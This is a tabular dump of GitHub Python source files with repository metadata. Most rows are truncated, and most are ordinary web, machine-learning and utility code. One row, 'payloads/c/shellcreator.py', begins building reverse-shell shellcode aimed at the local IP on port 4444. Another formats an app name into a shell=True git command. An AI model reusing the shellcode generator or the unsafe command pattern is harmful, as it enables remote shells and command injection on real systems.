blob_id stringlengths 40 40 | content_id stringlengths 40 40 | repo_name stringlengths 5 114 | path stringlengths 5 318 | language stringclasses 5
values | extension stringclasses 12
values | length_bytes int64 200 200k | license_type stringclasses 2
values | content stringlengths 143 200k |
|---|---|---|---|---|---|---|---|---|
94bf39aca8324b131697593522374e960fe93e94 | 611240959fd8d65a5726ce5a39513def25b2367c | huozhihui/devops_v3 | /manage.py | Python | py | 1,489 | no_license | #!/usr/bin/env python
# -*- coding: utf-8 -*-
import os, time, threading
from flask import Flask, current_app, url_for
from app import create_app, db
from app.models import User, Role
from flask_script import Manager, Shell
from flask_migrate import Migrate, MigrateCommand
app = create_app(os.getenv('FLASK_CONFIG') or... |
6c6f503123984b264a8da3d39a19640fbf57f729 | 18e74d3b98e1105acc955a4288716ad17dc8f995 | linnaeushuang/RL-pytorch | /value-based/duelingDQN/duelingDQN_learner.py | Python | py | 7,856 | permissive |
import gym
from memory import ReplayBuff
from models import Network
import numpy as np
import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.nn.utils import clip_grad_norm_
class agent():
'''DQN Agent.
Attribute:
memory: replay buffer to store transition
batch_si... |
8c580704b262ff88665c7c8a0441eab973963f56 | 4de3fcbbbd9774135c165698c5d09a89c0ea099a | mtrejo0/SchoolWork | /6.009/past/quiz1 March/q1_practice_solutions/q1_practice_b_sol.py | Python | py | 2,770 | no_license | # NO IMPORTS!
##################################################
## Problem 1
##################################################
def vals_at_depth(tree, depth):
if tree == []:
return []
if depth == 0:
return [tree[0]]
vals = []
for c in tree[1:]:
vals.extend(vals_at_depth(c, d... |
0a9df3225ffa186da879bf992d7440f783394c6b | 43cdb6e7e7d5330ca14c4eb4ef6542e705c13f4b | onolab-tmu/otohikari | /jsongzip.py | Python | py | 991 | no_license | import gzip
import json
def dump(filename, data):
'''
Dump some data to json and gzip the resulting file.
Parameters
----------
filename: str
The name of the file
data: data structure
The Python data structure to save
'''
json_str = json.dumps(data) + "\n" ... |
96fad03d783f9d53a56cf2dbbcb636924290498e | 771cf3619c58318abe14e3cdb8f6da2dad63ca64 | 5l1v3r1/Server-Auto-Pwn | /payloads/c/shellcreator.py | Python | py | 1,043 | no_license | #!/usr/bin/python
import struct,sys,os
ip = ip = os.popen("ifconfig | grep -Eo 'inet (addr:)?([0-9]*\.){3}[0-9]*' | grep -Eo '([0-9]*\.){3}[0-9]*' | grep -v '127.0.0.1'").read().strip('\n')
port = 4444
ip = [int(i) for i in ip.split(".")]
shellcode = (
"\x31\xc0\x89\xc3\x50\xb0\x66\xb3\x01\x6a\x01\x6a\x0... |
dfeb8eaff6f0e86b57c155a301ccff560e6cca76 | 276517c083bfe5894bc258c1515213f18ab89555 | gognambiar/FaceSentimentAnalysisApp-Android | /BackendScriptPython/fl.py | Python | py | 3,403 | no_license | from flask import Flask,request
import json
import base64
import io
from keras.models import Model
from keras.layers import Flatten
from keras.layers import Dense
from keras.layers import Input
from keras.layers import Convolution2D
from keras.layers import MaxPooling2D,Dropout
from keras import backend as K
from keras... |
ce87727faac6ac08eef9a1d01d42e70a85fa4e35 | cc422da4c70ebea18bcbe7593e74b7f5c513cf57 | pbtrad/MS4-Music-Bits | /products/migrations/0007_auto_20210321_2156.py | Python | py | 395 | no_license | # Generated by Django 3.1.7 on 2021-03-21 21:56
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('products', '0006_auto_20210321_2155'),
]
operations = [
migrations.AlterField(
model_name='product',
name='descripti... |
dc0396ac8bc12864a3db8d8e05b2ea32586e8b34 | 702c0b42c0de32addb3249da241e8c035418265a | jefffisher10/ADENA2 | /sensors/compass/comp_display.py | Python | py | 252 | permissive | #!/usr/bin/python
import time
import serial
ser = serial.Serial('/dev/ttyACM0', 9600)
time.sleep(2)
with open('/ADENA2/sensors/compass/comp_readings.txt', 'w') as outf:
ser.write('n')
x = ser.readline()
outf.write(x)
outf.flush()
# outf.close()
|
05b3a0fa5589a88a32068bf83a36c9e51a18cb2d | e8cb4148407ae39e009283b8f6d7dd0367fe3cfb | Mingyeong-Kim/Daisy-AI-Speaker-Development | /project/Mic_example.py | Python | py | 1,212 | no_license | import speech_recognition as sr
def listen(self):
"""Listens to response from microphone and converts to text"""
self.userCommand = ""
with sr.Microphone(device_index=self.mic, chunk_size=1024, sample_rate=48000) as source:
print ("\tThreshold: " + str(self.r.energy_threshold))
... |
2478f7de51ef6e25348632cdb337351b7e1a4999 | 07e24c0ba288f59762f17802c261dc6ec63f2cb0 | MdsalahUddin313/-TourAPP-ISD_Project-Backened- | /backened/migrations/0005_comments.py | Python | py | 499 | no_license | # Generated by Django 3.1.5 on 2021-02-16 03:37
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('backened', '0004_auto_20210212_0954'),
]
operations = [
migrations.CreateModel(
name='Comments',
fields=[
... |
41f66218cc563e2ca11de39ef34388572f4c8a06 | d184963f6d6a209a0b68daedfe0aaf670bb2ec86 | geekinutah/oslo-incubator | /openstack/common/wsgi.py | Python | py | 27,811 | permissive | # vim: tabstop=4 shiftwidth=4 softtabstop=4
# Copyright 2011 OpenStack Foundation.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apac... |
c5eb05c6d1a9239661ada80c87897121cb7fc3bc | ee13c1168b453ebdf2f3f89506dd3ea11dede422 | CodingEZ/Scrabble-AI | /helper.py | Python | py | 874 | no_license | def areValidLetters(letters):
for letter in letters:
if len(letter) != 1 and (letter not in 'qwertyuiopasdfghjklzxcvbnm'):
return False
return True
def areValidLocations(spaces):
for space in spaces:
try:
location = int(space)
except ValueError:
... |
860fe844c3c483dfbc46cdd885529db951d5b48c | fcd1a73b461812afca1670978abaab1f77f4bfdd | alias/frappe | /frappe/utils/gitutils.py | Python | py | 846 | permissive | from __future__ import unicode_literals
import subprocess
def get_app_branch(app):
'''Returns branch of an app'''
try:
branch = subprocess.check_output('cd ../apps/{0} && git rev-parse --abbrev-ref HEAD'.format(app),
shell=True)
branch = branch.decode('utf-8')
branch = branch.strip()
return branch
excep... |
437f9d377a16050484051086f72891e7a9da0bba | 39213a294ac8493602790136dca732d5f87b8535 | syoungruns/django_deployment | /DojoSecrets/urls.py | Python | py | 751 | no_license | """DojoSecrets URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/1.10/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: url(r'^$', views.home, name='home')
Clas... |
6816f071d35475689690bde1b7a8d303cf81eff8 | 92f45daa3aed935dc33541f9baa1e510bd3ad241 | toscano/hass-autonomic | /custom_components/autonomic/media_player.py | Python | py | 47,491 | permissive | """
Support for Autonomic e-Series devices.
For more information visit
https://github.com/toscano/hass-autonomic
"""
import asyncio
import sys
from distutils.version import LooseVersion
from datetime import timedelta
import logging
import aiohttp
from aiohttp.client_exceptions import ClientError
from aiohttp.hdrs im... |
3c44b37e58643c0da41807cf46d3f1c840f57ab5 | fe94c4b1a4bb823883b3a049fc9948d1cdd3e6b9 | mingzhang1998/Travel_Salesman | /main.py | Python | py | 1,946 | no_license | import math
from ACO import ACO, Graph
from plot import plot_all
from plot import plot_animation
from annealing import SimAnneal
def distance(point1, point2):
return math.sqrt((point1['x'] - point2['x']) ** 2 + (point1['y'] - point2['y']) ** 2)
def run_aco(data="./data/data_20.txt"):
points = []
locatio... |
bae1a2683cacb5b31006a4f34da5020bb3d19d4e | d8b5822f337357626e904e29f8fbf151f87db87d | ntzzc/torch-audiomentations | /torch_audiomentations/augmentations/band_pass_filter.py | Python | py | 4,786 | permissive | import julius
import torch
from ..core.transforms_interface import BaseWaveformTransform
from ..utils.mel_scale import convert_frequencies_to_mels, convert_mels_to_frequencies
class BandPassFilter(BaseWaveformTransform):
"""
Apply band-pass filtering to the input audio.
"""
supports_multichannel = T... |
e1838c524ddaf6934e844bbe2e144ac4d903224a | f4803d5a43e8ef40d4691deb92ca93d6fd16530c | bestwpw/tplmap | /tests/test_py_jinja2.py | Python | py | 2,285 | no_license | import unittest
import requests
import os
import sys
import random
sys.path.insert(1, os.path.join(sys.path[0], '..'))
from plugins.engines.jinja2 import Jinja2
from core.channel import Channel
class Jinja2Test(unittest.TestCase):
expected_data = {
'language': 'python',
'engine': 'jinja2',
... |
a0fb4a980c1e43f2bebf0f70ae2111e1979a1262 | 7587a7d0d9a8d1395dc15ff57264e46160db513a | neervenks/Concordia-W2020-CEBD1100 | /Weeks/Week 3/box_star.py | Python | py | 262 | no_license | limit = 4
# Draw a box (method #1)
for a in range(int(limit)):
for b in range(int(limit)):
print("*", end="")
print()
for a in range(limit):
print("#" * limit)
# Draw a right-sided triangle
for a in range(limit):
print("$" * (a+1)) |
8431acce320e0922b9a4d86b68ef92347970c811 | 6ae4fcda8193d2b66cf7d6f949ce66997ea55a69 | MikeVelazcoMtz/fileFinder | /fileFinder.py | Python | py | 2,367 | no_license | from fnmatch import fnmatch
import os,sys
def findFile( path, search, searchType, fileExtension ):
try:
dirList = os.listdir( path )
except OSError:
print "Ha sucedido un error. Revise su ruta"
else:
for l in dirList:
route = path + "/" + l
if os.path.isfile( route ) == True:#archivo
if searchType =... |
64f66131bd25f436bffdc1e35b3daee341e41853 | 333ea5721a67615590236c5196f4ea5291c46c98 | ntamas/biopython | /Tests/PAML/gen_results.py | Python | py | 6,591 | permissive | # Copyright (C) 2012, 2013 by Brandon Invergo (b.invergo@gmail.com)
# This code is part of the Biopython distribution and governed by its
# license. Please see the LICENSE file that should have been included
# as part of this package.
from __future__ import print_function
import os.path
import sys
VERSIONS = ["4_1... |
deb9d634de17b80773f5fcadf7aef42edce00b21 | d732c1ab4a92db58c40b40391187bfb58bd0f2d7 | rsiwerz/dd1361 | /s2/constants.py | Python | py | 628 | no_license | # encoding: UTF-8
"""
Author: Robert Åberg, Sara Ervik
Assignment: S2, Sköldpaddegrafik
File: constants.py
"""
pattern = '\s+|\.|\d+|\"|#[A-Fa-f0-9]{6}|forw\s|color\s|left\s|back\s|right\s|down|up|rep\s+[1-9]\d*\s+|%.*\n|.'
commentPattern = '%.*\n?'
ANGLE = 0
DOWN = False
COLOR, DOT, FORW, ... |
090c4414cb9e2406d00ad9695fdc42986fec1d75 | bf15d26aa633de24031b8fc0204db7ac2cf71914 | kanyarut/URL-Stack | /hn.py | Python | py | 5,872 | no_license | """
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT... |
74e676858ab074c8ef477a0fc87ae1ab845528eb | 34718a870a26678d4f48f29642ec8187d2a3d404 | shmehta21/DS_Algo | /linked_list_middle_node.py | Python | py | 3,486 | no_license | #Single linked list
class Node( object ):
''' Node class with data and pointer to next node '''
def __init__( self, data ):
self.data = data
self.nextNode = None
class LinkedList( object ):
''' LinkedList class with root node and size parameter'''
def __init__( self ):
self.head = None
self.size = 0
d... |
e5ad2fdde8257813017771bc4e44b8555ce14c38 | 5c5ba2a85cb455667e6fae316e945bf838ed2d7b | sporty/FruitySync | /djproject/djproject/settings_local.py | Python | py | 844 | no_license | #!/usr/bin/env python
# coding:utf-8
from djproject.settings_common import *
# MBA-4.local
DEBUG = True
# URL prefix for static files.
STATIC_URL = '/static/'
# データベース情報
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql',
'NAME': 'db_fsync',
'USER': 'fsync',
'PASSW... |
64e4b8c841e81a8cbc5f2a350b6631b0e153c609 | e3bb3b6002fd5365e263707d7d44702b3b0ca6a4 | JosephLevinthal/Research-projects | /5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/226/users/4129/codes (1)/1675_2471.py | Python | py | 578 | no_license | idade = int(input("Idade:"))
imc = float(input("Indice de massa corporal:"))
if(idade <= 0 or idade > 130 or imc <=0):
print("Entradas",idade,"anos e IMC",imc)
print("Dados invalidos")
elif(idade < 45 and imc < 22):
print("Entradas",idade,"anos e IMC",imc)
print("Risco: Baixo")
elif(idade >= 45 and imc < 22):
pri... |
f4f726a4f12456dc6ed45497a0871620d8f53252 | f97a229db0835c8191a9357e7805404bad033ecb | CSi-CJ/PythonDemo | /data-structor/demo03.py | Python | py | 501 | no_license | #!/usr/bin/env python
# -*- coding:utf-8 -*-
# owner:CSi
# datetime:2020/11/12 18:12
# software: PyCharm
# 列表推导式
squares = []
for x in range(10):
squares.append(x ** 2)
print(squares)
squares = list(map(lambda x: x ** 2, range(10)))
print(squares)
squares = [x ** 2 for x in range(10)]
arr = [(x, y) for x in [1... |
53c85ed90150ece31ef4ab617655e2d4542b8597 | a114ad1bee1b6ea0ab459602ed690e11cc8c6ebd | a10networks/a10-saltstack | /a10_saltstack/helpers/helper_modules/a10_debug_ip.py | Python | py | 1,207 | permissive | # Copyright 2019 A10 Networks
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
295f132ea8fa079bba741d2a4b3f5ab802ad43ce | b33ed4876a6194ff4835f81fc4fc3c8027fb7e47 | BH1SCW/ComP | /ros/devel/lib/python2.7/dist-packages/detect_s/msg/_PointDetect.py | Python | py | 3,624 | permissive | # This Python file uses the following encoding: utf-8
"""autogenerated by genpy from detect_s/PointDetect.msg. Do not edit."""
import sys
python3 = True if sys.hexversion > 0x03000000 else False
import genpy
import struct
class PointDetect(genpy.Message):
_md5sum = "bd7b43fd41d4c47bf5c703cc7d016709"
_type = "dete... |
941b725c164097d14d672fe4c98ae5c6efb8cad8 | fe2a14bc00f85e479a5a6ba1ff881c1ee1256b42 | KIT-Jan/RoPlot | /RoPlot/2DGauss_Beamspot_AUTO.py | Python | py | 3,660 | no_license | import configparser
import numpy as np
import matplotlib.pyplot as plt
import pylab as plb
from scipy.interpolate import griddata
from scipy.optimize import curve_fit
from scipy import asarray as ar,exp
import sys
from scipy import optimize
from matplotlib import rc
rc('text', usetex=True)
import glob
def mai... |
1b0f52141a96983943fc2d9affc9b919e702d1a5 | 13d46eb22e81f69cf8840b2bc167a04dd8ddfc81 | anilkumarreddyn/E-LearningWebsite | /accounts/urls.py | Python | py | 1,675 | permissive | from django.contrib import admin
from django.urls import path
from . import views
urlpatterns = [
path('login', views.login, name='login'),
path('register', views.register, name='register'),
path('confirmRegistration/<str:uname>', views.confirmRegistration, name='confirmRegistration'),
path('te... |
f879d3ce891e9f973c762d6885ba34c2eec24529 | 7932bf1d2eafddf4d35c86f37917f1d8fb18d574 | acer-mono/readings-backend | /routes/RoomResource.py | Python | py | 1,129 | no_license | from flask import request
from models.Room import Room
from flask_restx import Resource
from schemas.RoomSchema import room_schema
from flask_jwt_extended import jwt_required
from services.database import db
class RoomResource(Resource):
@jwt_required()
def get(self):
room_id = request.args.get('id')
... |
0f85848a9e324dc1a39bd49f6632ffd3cf70847c | 6c52fc670ed7a3adff1553c82ce9f65a603afdef | Daebo1AIteam/PPE-helmet-detection | /user/views.py | Python | py | 516 | no_license | from django.shortcuts import render
from django.shortcuts import redirect
import urllib
# Create your views here.
def LoginView(request):
return render(request, "login.html")
def SuccessView(request):
return render(request, "success.html")
# from rest_framework import status, viewsets
# from webcam.model... |
df527adb8d9d8672d0f3d41ebd961575ee0b0e48 | c26d4477ce0dfcb16b2be2969d4a3dcb6aa958f7 | anshof/BE_Sophisticated | /shofiya/app.py | Python | py | 831 | no_license | from flask_restful import Resource, Api
import logging, sys
from logging.handlers import RotatingFileHandler
from blueprints import app, manager
from werkzeug.contrib.cache import SimpleCache
cache = SimpleCache()
api = Api(app, catch_all_404s=True)
if __name__ == '__main__':
try:
if sys.argv[1] == 'db'... |
7bc3acaaf11fb23ca6a981d720ff4d0c01b0001d | 74d4b4a7c98429312607432720327cd87597531c | G-der/autohomebot | /autohomebot/utils/autohome_club_search.py | Python | py | 19,061 | no_license | #!/usr/bin/env python 3
# encoding: utf-8
from time import time
from concurrent.futures import ThreadPoolExecutor
import os
import pymongo
import requests
import socket
from requests.exceptions import ConnectionError
from requests.exceptions import ReadTimeout
from lxml import etree
import re
import json
import csv
im... |
37f885dc558e18ff98a1780a4341e5288e0790a5 | 2a7de5deedcaac33fec48c3b11e60158fb6b1e9b | heming6666/chaoss-microtasks-1 | /microtask-6/cocom_backend/graal_cocom_backend.py | Python | py | 2,017 | no_license |
from graal.backends.core.cocom import CoCom, FileAnalyzer
from pprint import pprint
from datetime import datetime
import os
# URL for the git repo to analyze
REPOSITORY_URL = "http://github.com/inishchith/MeetInTheMiddle"
# directory where to mirror the repo
REPO_DIR = "MeetInTheMiddle"
# Cocom object initializatio... |
11ba33be30f3d7263b4211e900e28e54024ddcea | ba712fc9e80654a8b849f6df0a38760331347137 | scarlettgao/Wed-04 | /main.py | Python | py | 1,086 | no_license | # Created by: Scarlett Gao
# Created on: Sep 27th 2017
# Created for: ICS3U
# This program is the first file in a multi-scene game template
# This template is meant to be used with the Xcode template,
# to make apps for the App Store.
#
# Originally from: Ole Zorn, from the Xcode template
# for use with https://g... |
17103c0f50791200f7bc6b3afb93c257a224d17a | 8d655c042bf63468f3652eba009ea9e4578d6f22 | pedrodiamel/pytorchvision | /pytvision/models/simpletsegnet.py | Python | py | 2,513 | permissive | import torch
import torch.nn as nn
__all__ = ["SimpleSegNet", "simpletsegnet"]
def simpletsegnet(pretrained=False, **kwargs):
r"""SimpleSegNet model architecture"""
model = SimpleSegNet(**kwargs)
if pretrained:
pass
# model.load_state_dict(model_zoo.load_url(model_urls['unet']))
retu... |
7bda74d0a2d8717f3531df7006d58843f2866e0f | 0b4ea4863582043663c9f1fab94b65469bc0775e | genarocoronel/Python-blackops_fronter_back-end | /config/config.py | Python | py | 1,258 | no_license | import datetime
#######################
## Private Functions ##
#######################
def get_format_from_raw(raw, cursor):
result = [dict(line) for line in [zip([column[0] for column in cursor.description], row) for row in raw]][0]
return result
def get_format_from_raw_full(raw, cursor):
resul... |
4f1556612a27db38cd18938d6134d7c92d7e5c58 | 65737ff6ca928ed9db805622822077182f083f61 | Amidala1/GBPython | /Lesson7/Lesson_7_2.py | Python | py | 3,912 | no_license | """
2. Реализовать проект расчета суммарного расхода ткани на производство одежды. Основная сущность (класс) этого
проекта — одежда, которая может иметь определенное название. К типам одежды в этом проекте относятся пальто и костюм.
У этих типов одежды существуют параметры: размер (для пальто) и рост (для костюма). Это... |
8270c69200c8a04dfa538db3b7138560b95e1cea | 0cee9ce7540e89ca47f8957cea806eb5e2b653bf | coma2441/LP-DeepSSL | /mean_teacher/cli.py | Python | py | 7,573 | permissive | # Copyright (c) 2018, Curious AI Ltd. All rights reserved.
#
# This work is licensed under the Creative Commons Attribution-NonCommercial
# 4.0 International License. To view a copy of this license, visit
# http://creativecommons.org/licenses/by-nc/4.0/ or send a letter to
# Creative Commons, PO Box 1866, Mountain View... |
6eb60eaed9ab7b3f0ef3791dac68130e4014df16 | 4596256076d82d695b040f186060424882666174 | pulumi/pulumi-aws-native | /sdk/python/pulumi_aws_native/lakeformation/permissions.py | Python | py | 8,635 | permissive | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi SDK Generator. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import copy
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _ut... |
866b5350399e70da9a21f3dbc5446ce679c3764d | d969b3a5802bb04af77f4c1f0e2336ce08bcd235 | HexxKing/django-snacks | /bunny_snacks_project/settings.py | Python | py | 3,191 | no_license | """
Django settings for bunny_snacks_project project.
Generated by 'django-admin startproject' using Django 3.1.4.
For more information on this file, see
https://docs.djangoproject.com/en/3.1/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/3.1/ref/settings/
"""
... |
dbf9588cbb264641689a06e0edb2af02a629d205 | f7a76c2a0c2042e7058219473e5922711182dc55 | ahgamut/mnistk | /src/mnistk/networks/conv2dthenlinear_81.py | Python | py | 1,015 | no_license | # -*- coding: utf-8 -*-
"""
conv2dthenlinear_81.py
:copyright: (c) 2019 by Gautham Venkatasubramanian.
:license: MIT
"""
import torch
from torch import nn
class Conv2dThenLinear_81(nn.Module):
def __init__(self):
nn.Module.__init__(self)
self.f0 = nn.Conv2d(in_channels=1, out_channels=... |
fd9e7f7350248571c1011e6b19efbff81a213a08 | a48f916f56dd039680c1e7b62a5c505598e5bb7a | codtiger/QCFractal | /qcfractal/interface/__init__.py | Python | py | 646 | permissive | """
DQM Client base folder
"""
from . import collections, data, models, util
# Add imports here
from .client import FractalClient
from .models import Molecule
# We are running inside QCPortal repo
try:
from . import _version
versions = _version.get_versions()
__version__ = versions["version"]
__git_... |
127da26b9e3a58ccaed5aafbdcb941b283fa3955 | 6c5296210e42768286cee5615be6bb41159f627e | vganeshpokuru/scikit-learn | /sklearn/externals/joblib/externals/loky/__init__.py | Python | py | 535 | permissive | r"""The :mod:`loky` module manages a pool of worker that can be re-used across time.
It provides a robust and dynamic implementation os the
:class:`ProcessPoolExecutor` and a function :func:`get_reusable_executor` which
hide the pool management under the hood.
"""
from .reusable_executor import get_reusable_executor #... |
11eba3cad0f6bb7d944978de87aea78a8ee61725 | ff22e0348a321aac1a8ca0a06ed9e9fcc04518c7 | burgeon26/neg-classifier | /Demo.py | Python | py | 1,539 | no_license | from Text import Text, LTP
from Tool import *
if __name__ == '__main__':
ltp = LTP()
# text = Text(ltp, get_abbs('众安在线财产保险股份有限公司'), path='Data/text.txt')
# print(text.score())
# print(get_abbs('北京京东股份有限公司'))
# print(clear('( 鸿道集团) 被王老吉[投诉],告上法庭.'))
text = Text(ltp,get_abbs(''), text=clear(''))
... |
1a50944f75d3013abbeada236939c0e096905a45 | 9ce0b901b6325517fdf71762cb365d59d49bb458 | billiepander/BIMS | /bridgeinformationmanagementsystem_wxpython/LoginFrame.py | Python | py | 2,586 | no_license | #coding:gbk
"""
第一步的登录界面
"""
import wx
from mainFrame import frame_depart
from ShortCutLine import genLinePic
class panel_login(wx.Panel):
def __init__(self,parent):
wx.Panel.__init__(self,parent=parent)
self.gs = wx.GridSizer(4,2,5,5)
self.label_1 = wx.StaticText( self, -1, 'login as:'... |
76970ade32ec948eae2d6a5b4772f144506943b9 | 9e8d5f57eca5afae80a8bae70c96e6d01303cfc8 | Ig0or/estudos_python | /atividades-faculdade/terceiro-semestre/aula07-sqlalchemy/model_comecar_por_aqui.py | Python | py | 24,695 | no_license | import shutil
import hashlib
import unittest
import random
import itens_do_heroi
import itens
from itens import ItemNaoExisteException
import herois
from herois import HeroiNaoExisteException
from sqlalchemy import create_engine
from sqlalchemy.sql import text
from math import floor
engine = create_engine("sqlite:///... |
e3be0f66e54f8a3634e326b26fa0c37c12b22682 | c9397793c1a931cc8e3de40d957e04b459091db9 | ikrauchanka/covid19-simulation | /src/state_data_loader.py | Python | py | 8,537 | permissive | import os
import warnings
import time
import config
import pandas as pd
from io import StringIO
import github
warnings.filterwarnings('once')
def load(country, states, latest=False):
if country == 'India':
load_india(states)
elif country == 'US' or country == 'USA':
load_us(states, latest)
... |
ca97e3526161dbe15599274f969851a78d054b90 | 82222737d99af46ab796dcf8e09c5cd328af2d84 | jamafyna/npfl068 | /ass2_2-wordclasses.py | Python | py | 3,928 | no_license | import sys
import collections as col
import icu
import math
import random
import datetime
sin=sys.stdin
sout=sys.stdout
DIST=50 # the distance between 2 words
LOW=10 # the number for disregarding: if word appears less than LOW times
# otázka: kde se mi projeví pravděpodobnostní rozdělení (tj. když mám brát v pot... |
03771dc521584928d5ef015a39741b75a607af30 | 7adf5922774518badb9eccb01d6ab3340343f847 | coolsnake/JupyterNotebook | /new_algs/Sequence+algorithms/Selection+algorithm/permutations_combinations_itertools.py | Python | py | 806 | permissive | import itertools
S = [ 'a', 'ab', 'ba' ]
for i in range(len(S)+1):
for c in itertools.combinations(S, i):
cc = ''.join(c)
if len(cc) <= 6:
print (c)
stuff = ['A', 'B', 'C']
print("COMBS 1: ")
combs_len1 = list(itertools.combinations(stuff, 1))
print(combs_len1)
print("COMBS 2: ")
combs_len2 = list(i... |
204d4021a731b22e2e665c4a3bffed0ad9f2bbed | 210a100f49752043152f43a4cf64ca3dadf42c37 | tkhokhar25/denn-backend | /src/database_connection.py | Python | py | 346 | no_license | import psycopg2
from psycopg2.extensions import ISOLATION_LEVEL_AUTOCOMMIT
def get_database_connection():
connection = psycopg2.connect(dbname='denn', user='postgres', password='tusharsucks', host='localhost')
connection.set_isolation_level(ISOLATION_LEVEL_AUTOCOMMIT)
cursor = connection.cursor()
... |
67ed2787d18987e8cdca97c40b7d427e5055630f | b2b129526d36b5a0d7b3d19ec7175d72d0afa3f3 | htuy42/actorgen | /venv/Scripts/pip3.7-script.py | Python | py | 399 | no_license | #!d:\projects\actorgen\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==10.0.1','console_scripts','pip3.7'
__requires__ = 'pip==10.0.1'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit... |
1b2cfab429faa71c5042fec7eca9a250e6418974 | 0e6b7ec93fd2f5a05f86723d4f605ab059576a4f | hmpmarketingcodebase/botplayer-python | /scriptes/deezer/by_save.py | Python | py | 9,269 | no_license | from selenium import webdriver
from time import sleep
from selenium.common.exceptions import NoSuchElementException
from selenium.common.exceptions import WebDriverException
from selenium.common.exceptions import TimeoutException
from selenium.common.exceptions import StaleElementReferenceException
from selenium.webdri... |
aadd63dc8281d7cce8cdf0da7587d3691498239c | 488e3bd45ba432385f96114961496872309553da | CodecoolBP20172/pbwp-2nd-tw-python-game-team-nine | /ttt.py | Python | py | 2,330 | no_license | import numpy as np
playfield = np.array([[" "]*3]*3)
calctab = np.array([[0]*3]*3)
def wincheck():
playerwins=False
if playerwins == False:
for i in range(3): #horizontal check
wincount=0
for j in range(3):
wincount = wincount + calctab[i,j]
... |
8c3fa3a29bd03ebda0a5f78aa8977afbbdc68b60 | 3d168320bbc840ffd3532d87c117ed44fd750d82 | Not-Geek/Django-deployment | /noobcess/user_login/models.py | Python | py | 241 | no_license | from django.db import models
from django.contrib.auth.models import User
# Create your models here.
# class UserModel(models.Model):
#
# user = models.OneToOneField(User)
#
# def __str__(self):
# return self.user.username
#
|
4f0920431f0f37c9c4f334017075a90a4b91751a | 8c190c0df1f5753ddeab5f3dc407d23b9d4c9ad2 | sathyarajaa/Grooton-CodingAssessment | /tweepy_streamer.py | Python | py | 1,853 | no_license | from tweepy.streaming import StreamListener
from tweepy import OAuthHandler
from tweepy import Stream
import twitter_credentials
# # # # TWITTER STREAMER # # # #
class TwitterStreamer():
"""
Class for streaming and processing live tweets.
"""
def __init__(self):
pass
def... |
730831216ff14eaa0f55278439109cf6efd6c14c | 7ab0b5da777da28708c6e3c9cd849f80fa63f942 | Happy-Aztec-Digging-Extraction-System/smile-mobile | /smile_mobile_robot_ws/src/smile_mobile_robot/src/control/keyboard_teleop.py | Python | py | 5,841 | no_license | #! /usr/bin/env python
'''
Author: David Pierce Walker-Howell<piercedhowell@gmail.com>
Date Created: 06/03/2020
Description: Provide an interface for controlling the smile mobile robot with keyboard
teleop.
'''
import rospy
from std_msgs.msg import Int16MultiArray
from pynput import keyboard
import sys
impo... |
ede8f59b15380acda58224e62547af8f738d7b87 | 66337a1f4af3a293c471c9d8bf15baf3f6b6a331 | Reaster0/bootcamp-python-ai | /day03/ex01/ImageProcessor.py | Python | py | 332 | no_license | import matplotlib.pyplot as plt
import matplotlib.image as img
class ImageProcessor:
def load(self, path):
try:
temp = img.imread(path)
print("the image resolution is:", temp.shape[0], "x", temp.shape[1])
return temp
except:
print("can't open the file")
def display(self, array):
plt.imshow(array)
... |
09dfac547375dd612a0f0e662c276f8f7fbf9a5d | 3abd0dff914c446a789573deed1be0ed788bc2c4 | jsj2008/DeepSea | /python/DeepSeaVectorDraw/MoveCommand.py | Python | py | 1,074 | permissive | # automatically generated by the FlatBuffers compiler, do not modify
# namespace: DeepSeaVectorDraw
import flatbuffers
class MoveCommand(object):
__slots__ = ['_tab']
@classmethod
def GetRootAsMoveCommand(cls, buf, offset):
n = flatbuffers.encode.Get(flatbuffers.packer.uoffset, buf, offset)
... |
a626cbce481777c71af31c035dd4212970459f0c | b08bb899fca9c0597fdf3c3e82caac70eff41180 | HoleCat/echarlosperros | /media-translation/cloud-client/translate_from_file_test.py | Python | py | 951 | permissive | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in wri... |
9b7100e637ba2c068243f09e701598b665218ec7 | 2eefc13b47c31f68a93ba6311dab791cd92e6767 | iskyd/poliastro | /src/poliastro/twobody/thrust/change_a_inc.py | Python | py | 1,584 | permissive | import numpy as np
from numba import njit
from numpy import cross
from numpy.linalg import norm
from poliastro.core.thrust.change_a_inc import (
beta,
compute_parameters,
extra_quantities,
)
def change_a_inc(k, a_0, a_f, inc_0, inc_f, f):
"""Guidance law from the Edelbaum/Kéchichian theory, optimal t... |
7d699ace881f75b56ade53775fd897935657a754 | 5651add04294e77cc13489f8b60bbf29e95025c8 | vgulaev/sitenewwave | /1cengine/py_scripts/csv2db.py | Python | py | 13,797 | no_license | #!/web/trimetru/python/bin/python2.6
#-*- coding:utf8 -*-
import MySQLdb
import imp
import os
# py_scripts_path = os.path.expanduser('~/web/sitenewwave/1cengine/py_scripts/') #development
